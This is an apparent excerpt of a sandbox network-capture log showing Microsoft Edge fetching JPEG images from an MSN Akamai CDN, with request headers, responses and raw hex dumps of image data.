2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 71 52 9f e5 8e 84 fd 51 43 99 bd 29 61 02 71 76 d1 f3 4f fc 67 46 f6 0f a2 51 c2 d7 6a 3b 3f 74 cd 16 ed 45 43 cc 4a 2c a6 47 da 3a 83 fb fc 90 fd 16 ed 23 b0 a5 43 44 0d 9d 88 5e 91 d8 15 54 52 ba e5 8b 3a 0f c6 b7 50 16 fe 35 97 cb a2 e1 ce 2c f1 0e 89 df 43 9a e3 e9 a3 aa 87 a9 d9 1e 3e 98 cc 49 dd 96 e4 31 c7 53 be 61 72 30 33 33 da ad 23 f2 ef 4f a6 85 43 d4 eb 87 1d 4b 29 3d 7e 8a 4f ac 1d 70 e3 75 c5 02 0d ee 8d 8c 9d 48 1b 14 be 2d 09 a5 ea 75 98 98 7f 90 cc 6a 99 60 3f c9 bd ab 95 c5 1a 36 3c 51 7d 61 ac 28 7c 5d cc a6 ed 0e 94 35 db 46 c5 a5 ae be 47 b9 73 cd e2 04 c8 10 3a 94 a8 d7 0e d1 32 a3 a4 c6 aa 78 0a 8d a9 55 bf c8 b2 73 c2 e4 be cf 8a 71 52 31 60 78 68 8f 76 67 a9 0b 8d 73 db 13 3e 65 08 d6 de bb ed b5 db 8b 3a ed b0 ee 87 15 c2 71 71 Data Ascii: qRQC)aqvOgFQj;?tECJ,G:#CD^TR:P5,C>I1Sar033#OCK)=~OpuH-uj`?6<Q}a(\|]5FGs:2xUsqR1`xhvgs>e:qq
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 91 c1 0f 9e c5 6b 7f 76 c7 7b fb 5c a2 9f 04 18 b8 37 0b 0f f2 10 71 64 64 0c c4 25 b6 30 f0 ee 80 1c d6 bb 4f b9 83 bc 24 3f 80 fb a8 54 10 e7 43 e0 80 6d ee ee 88 ce 57 72 28 b3 3c 2e ff 00 71 1d c6 fc d5 fc cf 25 1c dc 8b 06 f6 12 b2 a4 b5 44 59 7b 44 b5 ce 66 f0 0b 98 7a 8c d4 81 5d ff 00 c8 02 36 8c 8f 7b 56 91 27 d9 88 5b ee 22 5b db 62 ae da 73 a0 de 60 89 fa f5 5e 6b b9 3d d7 f6 6b 4b c1 8f 1d 27 66 30 9e c3 f3 08 98 4c 59 d2 37 fd 42 a9 a4 ed 20 8d 8e 98 ed 42 f4 8e 92 d2 34 06 7b 3f 45 32 b5 f1 f7 90 86 b0 19 69 8c 8c 6e 87 b5 46 2d 6b b3 68 9d d9 8e 56 70 45 77 ae c3 39 f5 b1 3e 7a ac fc 43 09 c3 51 85 bd 44 8e d0 b7 4e ec 33 f2 dc c9 c7 97 99 0d d4 8b 6e d2 39 cf 78 bf 81 51 f1 bb f4 82 3c 3d dd a1 2c e0 63 be d7 78 cf 9f 05 19 cc 74 89 13 bf Data Ascii: kv{\7qdd%0O$?TCmWr(<.q%DY{Dfz]6{V'["[bs`^k=kK'f0LY7B B4{?E2inF-khVpEw9>zCQDN3n9xQ<=,cxt
2024-10-29 01:46:43 UTC	7952	IN	Data Raw: b9 ae e4 7b 04 88 74 e8 6a 44 df 28 17 53 8d 27 1b 0b 78 45 b4 bc a9 d9 0c fa 7e 8a a1 b0 0d c6 ba 8d 9a aa ad dd 9b 24 89 e8 c8 be 42 e6 fe 61 47 2d 6b 43 03 25 f6 31 00 9d 76 0b ca 52 38 40 6b 6e 43 a5 ce b8 3d 06 e4 03 60 0b 5f 2d 2d 93 39 8c b5 ce 3e aa 65 cc 39 d4 08 de 9e 26 0b e9 a5 88 f9 22 b6 88 0d 98 e5 1e 3a f6 a3 34 fb 65 de d1 62 6f 78 d9 12 7b 95 e9 1b 08 bc 9b 08 d9 ae fe 69 3b 9a ca 43 21 3c f0 e0 80 e7 b9 c2 09 cb 75 b0 91 17 1b 72 55 34 5c e7 e8 d0 1b 10 00 00 e5 71 ad fb 92 8d 6c 06 e4 dc ba d9 4d f5 0a 80 9f 4e 6d 33 1c bb 00 dc 8e a3 98 9c 8a f0 12 ab 52 ff 00 27 b4 62 98 ff 00 48 ca 74 41 fc 2e 20 7d a4 5b 38 99 3b 63 22 97 5e 4e f1 28 3e db 08 e5 bc 1c ef dd 2b 45 cb 19 2c a1 7a 81 ce 1a 2c 26 1d 26 2d 26 3c 7d df b2 6e a1 40 00 70 Data Ascii: {tjD(S'xE~$BaG-kC%1vR8@knC=`_--9>e9&":4ebox{i;C!<urU4\qlMNm3R'bHtA. }[8;c"^N(>+E,z,&&-&<}n@p
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 61 a0 7d d3 73 f2 b2 8b 54 5d a4 29 97 88 43 96 52 93 64 97 69 3d 32 47 35 00 1e d3 ce dd e8 6f c0 c0 29 b6 d2 33 3a cd cc 11 98 84 1a 6d bc 67 ae e8 51 7c b9 6f 1c c5 99 2c 61 0d 97 0b cc 93 d3 ea a3 bd f7 bc 11 9e 76 58 5c 31 11 61 b4 c7 28 fa 20 36 9f f2 9b 48 00 1f 1e 9b 96 39 fe 7e 63 89 26 7a ae 89 00 67 02 26 22 33 43 c6 5c 0d f3 ee ee 93 cd 3a 6d 1f 75 cb 46 b0 62 48 31 d7 92 60 17 5d c0 81 a6 92 47 4f aa e8 b5 64 5c 16 69 25 f9 58 08 ca df f6 f8 ea 83 67 bb 17 f6 c6 cb 6d e7 bb 6a 2c c9 b3 a2 d3 06 45 f9 d9 52 70 c8 75 ae 20 72 df bd 1f 56 79 ef a1 20 c8 2e c6 08 dc 3f 5c 90 8c 5b 14 69 97 4f cc 74 e8 b1 95 33 81 17 36 9e b9 ab 97 3a 26 24 9b 48 89 1b 23 9f 25 a6 d9 19 bc c0 07 c9 80 00 04 0b cc 9b 93 f2 09 b0 b2 a1 2e df 98 02 40 9c 86 de 51 d5 Data Ascii: a}sT])CRdi=2G5o)3:mgQ\|o,avX\1a( 6H9~c&zg&"3C\:muFbH1`]GOd\i%Xgmj,ERpu rVy .?\[iOt36:&$H#%.@Q
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 08 df 7c bc 95 35 c1 98 4b 9c 63 68 d9 d8 a3 31 e7 db 60 c9 12 4c d8 8d e7 32 b6 ab 87 e6 0d c8 91 9c 5b 43 b5 73 ab 6a 79 65 db 17 e4 46 21 29 16 63 25 be 99 b5 c1 98 27 4e d5 6b 58 ce 16 e2 93 3b 63 43 9e ee 8a 2d b0 bb dc 1d 3b 04 6f 9e cd 2c 8a dd 04 90 2f 00 b4 99 36 b8 e4 ba 95 f1 16 dc 93 4b c7 3e e5 ce 05 c9 2e 76 7a 47 2f 92 8e 5c dd 32 d1 13 13 1e f8 f7 cc 67 11 7d 84 42 d7 35 b8 3d be c7 ed 07 10 be 4d 70 36 59 bb 71 5a ec fb f6 d0 92 23 71 12 4b 8c 81 97 ec 76 75 53 5c f7 60 81 9e ba 10 22 c2 df 45 18 62 73 04 8c 50 7d d9 09 ec ec 4d f8 af 60 d3 0d f6 82 5c 49 db b8 69 9a 57 7d db 25 e5 b1 51 9b 22 97 9a 62 5c 4c 9d 37 74 59 4d c1 ce 93 a2 99 52 93 aa b8 38 9c 26 00 2d 1b ad 26 2c 86 cf ba 0b 44 03 3f 6e fd b1 2b 4b b6 d0 88 2e 60 db 22 35 4d Data Ascii: \|5Kch1`L2[CsjyeF!)c%'NkX;cC-;o,/6K>.vzG/\2g}B5=Mp6YqZ#qKvuS\`"EbsP}M`\IiW}%Q"b\L7tYMR8&-&,D?n+K.`"5M
2024-10-29 01:46:43 UTC	1832	IN	Data Raw: 8d 70 12 f2 05 f4 68 f9 9d ca a1 f8 e4 1b b6 3f c8 49 26 e7 62 d1 8b 06 27 9b 9b 11 6c f5 30 13 73 43 18 03 08 6c 5c eb 7e 97 fa 2e 3c 30 f3 f5 20 a9 a4 46 07 08 c2 f7 5a 36 0f 3e 05 29 b6 a3 7d ec 6b 9a 41 2e 11 0d 89 76 78 b5 88 8b 9b 66 a2 50 70 a8 0b b4 00 e7 6b 8c 8e be 42 8f 44 60 6d e4 b8 c0 f6 dc db ce f4 9d ce 5c e4 d7 d3 e7 2b 73 49 87 92 9c a0 5b 27 d8 5a df b5 91 79 cc 1c c9 fd f4 d5 42 80 d7 12 db 9e d1 f4 de a8 03 98 5c d7 02 ec c5 f5 0e ce 6f 9c df 45 1d a2 4e cb 62 b1 db 16 b6 5f b2 c5 28 c7 f1 30 cf d4 23 9e 5a 6c 5d 20 b6 1c 32 13 9e db 9c a3 2c d0 de 1c d2 d6 86 9b 1b 49 c5 d9 19 05 1a 5d 18 5c e2 06 70 2f 26 60 da f2 79 a5 47 0f 41 b2 d0 64 8b 4f f1 07 c6 4f 45 b5 d7 b6 d6 7b e5 12 f6 ee f1 1c 96 03 01 83 77 1d e2 07 9d a5 51 ad c6 71 Data Ascii: ph?I&b'l0sCl\~.<0 FZ6>)}kA.vxfPpkBD`m\+sI['ZyB\oENb_(0#Zl] 2,I]\p/&`yGAdOOE{wQq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49913	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	634	OUT	GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:43 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 20 Oct 2024 13:06:01 GMT X-Datacenter: eastus X-ActivityId: 7cdbd1ce-0b66-49e0-bee9-2ead4f42bcfc Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA12sf7A X-Source-Length: 114962 Content-Length: 114962 Cache-Control: public, max-age=83880 Expires: Wed, 30 Oct 2024 01:04:42 GMT Date: Tue, 29 Oct 2024 01:46:42 GMT Connection: close
2024-10-29 01:46:43 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 e3 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-10-29 01:46:43 UTC	1274	IN	Data Raw: b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 55 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WDU
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-10-29 01:46:43 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-10-29 01:46:43 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	49919	23.47.194.99	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:42 UTC	634	OUT	GET /tenant/amp/entityid/BB1msDML.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 01:46:43 UTC	520	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 21 Oct 2024 13:29:56 GMT X-Datacenter: northeu X-ActivityId: b67b5744-1fdc-4b6a-947b-ca499d40f4b8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msDML X-Source-Length: 86931 Content-Length: 86931 Cache-Control: public, max-age=171752 Expires: Thu, 31 Oct 2024 01:29:14 GMT Date: Tue, 29 Oct 2024 01:46:42 GMT Connection: close
2024-10-29 01:46:43 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-29 01:46:43 UTC	16384	IN	Data Raw: ad aa 22 99 f9 6b 19 8e 77 33 6f 51 d3 7b 52 bb 5c f6 1a ae 74 35 d8 43 c0 24 41 d4 13 73 6c 8c cc 2f 4d d1 f5 fd 4d 50 7b cd a2 db d8 e2 20 e1 1a c8 b8 91 68 e6 be 44 f7 f7 5e 26 24 72 f7 ec 5f 50 a2 05 5a 67 0b b2 64 43 da e2 08 1b c2 d3 a5 b5 4f cd 78 45 c7 3f ca bf b9 78 63 1f 24 cc 4f 2e dc 6f fb 3d 47 ee 31 59 98 4c 6a 66 47 95 84 ac 7e b7 af a9 d2 d3 73 81 6e eb 9a 0e 21 91 8c 94 a8 b1 ad 30 64 98 33 bd 61 c8 95 e5 fd b0 e6 d1 a6 69 10 48 aa 06 fe 42 0c c5 ef 7b dd 70 78 f2 cf 3f 24 45 cf 7f c9 d9 9e 38 61 86 53 51 b4 08 67 fe a4 13 15 28 cf 22 c7 41 3f e1 74 81 6f e2 5e 8a 8f b6 3a 2a c7 0f 70 b1 dc 9c d3 f7 12 17 c4 19 f1 0b da 5b 7e 56 5e 8a 83 5a de bb a7 68 3f ad d2 fe 77 b1 1b 32 5e d6 78 63 1d 7b 4c fd 9e 3e 13 33 d3 bc 47 dd f6 b6 96 d4 68 Data Ascii: "kw3oQ{R\t5C$Asl/MMP{ hD^&$r_PZgdCOxE?xc$O.o=G1YLjfG~sn!0d3aiHB{px?$E8aSQg("A?to^:*p[~V^Zh?w2^xc{L>3Gh
2024-10-29 01:46:43 UTC	1747	IN	Data Raw: 8e 05 67 96 31 94 54 c3 4c 73 9c 66 e2 68 5d 46 00 03 80 c6 48 69 27 2b 7e 91 cb 8a f2 3e d0 79 73 c3 03 4c 86 cc 8b 83 9d c0 d2 01 d5 7a 2a cf 34 e9 3d c6 74 c2 0e 86 4e 97 17 e2 bc b8 7f 78 be a3 ea 9a 75 1a 0e 11 1f 19 68 82 d9 ca da 6b c5 65 3b 45 1c cd cf 46 28 6e 26 98 8d d3 61 a3 b3 fa 2d fa d5 1b 5b a5 a4 4f f6 94 06 03 1f a9 84 cb 49 3c db 70 b2 dc f0 34 6b 65 e0 58 0f 3b 48 91 e2 a4 29 e3 a2 5d 2d 02 6c 26 e2 73 d8 38 2c 27 91 dc c5 c7 58 dd 5d ca ac 6b a3 47 80 cd 01 b1 20 d8 99 83 23 28 52 2c ab d4 b3 f4 83 49 82 d2 05 9b ef 8f 32 ab 0c 16 b6 c4 5e fc ac 94 25 ae 76 b8 70 81 33 96 5b 51 12 ce e4 b3 45 ed 8d eb 96 cb bf 85 a7 6e b6 bd 97 b0 a0 fa 6e a6 30 0b 09 03 15 c9 00 eb 99 13 c5 79 ba 1d 3b ab e2 38 9a 19 4c 09 71 70 6c 65 00 bb dc b6 1a Data Ascii: g1TLsfh]FHi'+~>ysLz*4=tNxuhke;EF(n&a-[OI<p4keX;H)]-l&s8,'X]kG #(R,I2^%vp3[QEnn0y;8Lqple
